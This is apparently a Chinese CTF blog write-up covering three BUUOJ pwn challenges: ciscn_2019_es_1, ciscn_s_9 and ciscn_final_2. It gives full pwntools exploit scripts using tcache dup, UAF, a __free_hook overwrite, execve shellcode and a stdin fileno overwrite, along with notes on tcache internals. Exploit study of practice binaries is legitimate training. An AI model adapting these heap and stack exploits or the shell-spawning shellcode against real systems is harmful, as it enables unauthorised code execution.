1.ciscn_2019_es_1:UAF,tcache dup,比较常规,泄露地址,打free_hook。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| from pwn import * from LibcSearcher import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./ciscn_2019_es_1"
''' obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 0 if local: p = process(binary) elf = ELF(binary) else: p = remote("node3.buuoj.cn","27956") elf = ELF(binary)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = "choice:"
def add(size, con, call): sla(menu, "1") sla("compary's name\n", str(size)) sa("name:\n", con) sla("compary call:\n", str(call))
def delete(idx): sla(menu, "3") sla("index:\n", str(idx))
def show(idx): sla(menu, "2") sla("index:\n", str(idx))
add(0x410,"A",123) add(0x18,"B",123) add(0x08,"/bin/sh\x00",123)
delete(0) show(0) ru("name:\n") malloc_hook = u64(rc(6).ljust(8,"\x00")) - 96 - 0x10 obj = LibcSearcher("__malloc_hook",malloc_hook) libc_base = malloc_hook - obj.dump("__malloc_hook") log.info("libc_base:0x%x"%libc_base) free_hook = libc_base + obj.dump('__free_hook') system_addr = libc_base + obj.dump('system') delete(1) delete(1) add(0x18,p64(free_hook),123) add(0x18,p64(system_addr),123) add(0x18,p64(system_addr),123) delete(2) pause() p.interactive()
|
2.ciscn_s_9:这题有点意思,栈溢出长度比较短,但是还是够用来泄露地址然后ret2libc。除此之外题目中给了一个hint,可以直接借用jump esp这个gadget来手写shellcode,拉动esp上移到我们输入位置,这样就不再需要考虑到劫持ebp上挪之后的函数剩下的汇编代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import * from LibcSearcher import *
context.arch = 'i386' SigreturnFrame(kernel = 'i386')
binary = "./ciscn_s_9"
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
''' obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] '''
local = 0 if local: p = process(binary) elf = ELF(binary) else: p = remote("node3.buuoj.cn","26029") elf = ELF(binary)
''' sh_addr = 0x080482EA payload = "" payload += "A"*(0x48+0x4) payload += p32(system_plt) payload += p32(0x11111111) #paddding(system_plt ret addr) payload += p32(sh_addr) '''
''' payload = "" payload += "A"*0x10 payload += p32(read_plt) payload += p32(system_plt) payload += p32(0x1) #fd payload += p32(binsh_addr) #parameter payload += p32(0x4) #n payload += p32(binsh_addr) '''
''' payload1 = "" payload1 += "A"*0x10 payload1 += p32(puts_plt) payload1 += p32(main_addr) payload1 += p32(puts_got)
payload2 = "" payload2 = "A"*0x10 payload2 += p32(system_plt) payload2 += p32(0x11111111) #paddding(system_plt ret addr) payload2 += p32(binsh_addr) '''
jump_esp = 0x08048554
shellcode= ''' xor ecx,ecx xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor eax,eax mov al,0xB int 0x80 ''' shellcode=asm(shellcode)
payload = "" payload += shellcode payload = payload.ljust(0x24,"A") payload += p32(jump_esp) payload += asm("sub esp,40;call esp")
ru(">\n") pause() sl(payload) pause() p.interactive()
|
3.ciscn_final_2:这题真是最有意思了,调了我快一天。
(1)bool公用,dup free之前必须先申请。
(2)int_pt和short_int_pt全局。
(3)开了seccomp保护,但是最开始加载了flag,句柄fd设置为666。
▲漏洞在没有清空指令,可以UAF和tcache dup。先常规思考一下思路,UAF和tcache dup泄露堆地址,之后构造chunk进入unsortedbin中,泄露libc地址,然后利用堆块上残留的libc地址部分写覆盖_IO_2_2_stdin_结构体中的fileno为666,这样在choice>4就可以利用scanf来直接读取句柄fd中的内容,也就是flag,顺带打印出来。
其它不说,需要注意的也就是一个printf的格式化输出,泄露堆地址的时候用int接收,然后判断一下是否小于0,小于0则加上0x100000000即可。
主要说libc地址泄露和利用。这里利用部分堆地址进行一定堆布局,修改int_chunk的size为0x4b1,这里我弄大了,只要超过tcache最大限制即可。(然后我看网上常规思路都是填满大于fastbin的tcache,但是我嫌比较麻烦,就用了自己的方法,事实证明大佬的方法其实更有效,比较不容易出错)然后就比较坑爹了。
①由于只有部分libc地址,所以两个选择,一是爆破,0x7fxx——–,需要大概爆破一个字节,0xff次。二是利用chunk上残留的地址,结合tcache up和UAF直接改后面四个字节,直接申请到我们想要地方。这里用第二种方法
②但是最坑爹的就是,scanf申请堆块啊,具体不知道申请多大,但是程序中可以输入99个字符,调试了好久,指定会申请堆块。
③如果直接利用int_chunk上残留的libc地址,但是这时候int_chunk已经被放入到unsortedbin中,结合tcache up和UAF势必会修改int_chunk的fd,然后就会造成unsortedbin被破坏,再加上之后的scanf申请堆块,不会从0x20和0x30的tcache中申请,得,直接崩溃:
malloc(): memory corruption: 0x00007fae88dc8c10 ***\n”
④然后我又想到要不为scanf预留一个chunk到tcache中?这样就不会从unsortedbin中切割了。结果调好久没调出来,果断放弃。
⑤最后灵光一闪,想到干嘛不直接劫持tcache结构体,由于int_chunk被放入unsortedbin中,那么如果int_chunk也在tcache中,就可以使得tcache结构体中0x30链表上留下main_arena+96的指针了啊。这样再申请short_chunk到这里,直接修改指针,再申请int_chunk就会申请到我们修改的地方,这样就不会造成unsortedbin破坏。
▲看了大佬的,还是直接填满tcache省事,不破坏unsortedbin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| from pwn import * from LibcSearcher import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./ciscn_final_2"
''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary) elf = ELF(binary) else: p = remote("node3.buuoj.cn","29139") elf = ELF(binary)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = "which command?\n> "
def add(Type, con): sla(menu, "1") sla(">", str(Type)) sa("your inode number:", con)
def delete(Type): sla(menu, "2") sla(">", str(Type))
def show(Type): sla(menu, "3") sla(">", str(Type))
def exit(con): sla(menu,"4")
add(1,"B") delete(1)
for i in range(0,5): add(2,"A") delete(1)
show(1) ru("type inode number :") heap_low_four = int(ru("\n")) if(heap_low_four<0): heap_low_four += 0x100000000 log.info("heap_low_four:0x%x"%heap_low_four)
for i in range(0,3): add(1,str(heap_low_four)) delete(2)
add(2,str(heap_low_four-0x10)) add(2,str(heap_low_four-0x10)) add(2,str(0x4b1))
for i in range(0,32): add(2,str(0x51))
delete(2) add(1,str(heap_low_four)) add(1,str(heap_low_four)) delete(1) show(1) ru("type inode number :")
malloc_hook = int(ru("\n"))- 96 - 0x10 obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base_four = malloc_hook - obj.dump('__malloc_hook') if(libc_base_four<0): libc_base_four += 0x100000000 heap_base = heap_low_four-0x260 log.info("libc_base_four:0x%x"%libc_base_four) __IO_2_1_stdin_fileno_addr = libc_base_four+obj.dump("_IO_2_1_stdin_")+0x70
add(1,str(malloc_hook+0x10+96)) delete(2) add(2,str(heap_base+0x50+0x8)) add(2,str(__IO_2_1_stdin_fileno_addr)) add(2,str(__IO_2_1_stdin_fileno_addr)) add(1,str(666))
pause()
p.sendline("4") p.interactive()
|
这里我都是int_chunk拿来泄露地址和利用,short_chunk来打辅助。
★另外记录下tcache方面的,tcache根源在于tcache结构体,所以如果tcache的bin中如下:
0x20[]:chunkA->chunkA.fd=1
那么如果这时候申请chunkA的同时修改chunkA.fd=2,对于的tcache的bin中只会是:
0x20[]:chunkA.fd=1,而不是chunkA.fd=2,因为在malloc时就已经将chunkA.fd=1放到tcache结构体中了,再修改chunkA.fd是没有意义的,只能修改tcache结构体才行。
★还有tcache的cout字段一直是个谜,如果cout>7,tcache的max宏定义没有被改,那么释放后的chunk是不会进入对于的tcache的bin中。但是如果cout<7或者<0,是不会有其他影响的,只会看tcache结构体中对应bin的链表中是不是0x0。是就当没有,有数据则就有chunk在该bin中,不管cout是多少(<7),并且malloc或者free后会对cout对应加减。(不同libc版本好像又不太一样,具体调试)